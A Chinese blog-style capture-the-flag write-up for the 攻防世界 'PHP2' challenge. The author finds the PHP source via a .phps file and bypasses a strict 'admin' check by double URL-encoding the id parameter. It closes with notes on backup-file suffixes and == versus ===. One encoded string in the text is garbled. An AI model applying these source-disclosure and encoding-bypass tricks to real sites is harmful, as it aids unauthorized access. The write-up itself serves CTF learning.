CTF-攻防世界-PHP2(PHP源码)
题目

解题过程
扫了下端口和目录,没发现啥有用的信息。。。看了下提示,需要用到php源文件phps(咱之前没听说过)
访问:http://111.198.29.45:49502/index.phps,出现源码:
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
这段代码的意思是需要传一个名为id的参数,参数值必须为经过url编码后的admin
把admin做一次url编码:
http://111.198.29.45:49502/index.php?id=%61%64%6d%69%6e
没有成功。>_<。,wp里说的是url穿过去的时候本身就会做一次url编码,所以这里需要二次编码,好吧,把61%%64%6d%69%6e在做一次url编码,拿到flag。
知识点总结
1. php备份文件:后缀为php~或者index.php.bak
2. php的源代码文件:后缀为phps
3. ===:php的恒等运算符,和==有区别,从w3cschool截了张图:


浙公网安备 33010602011771号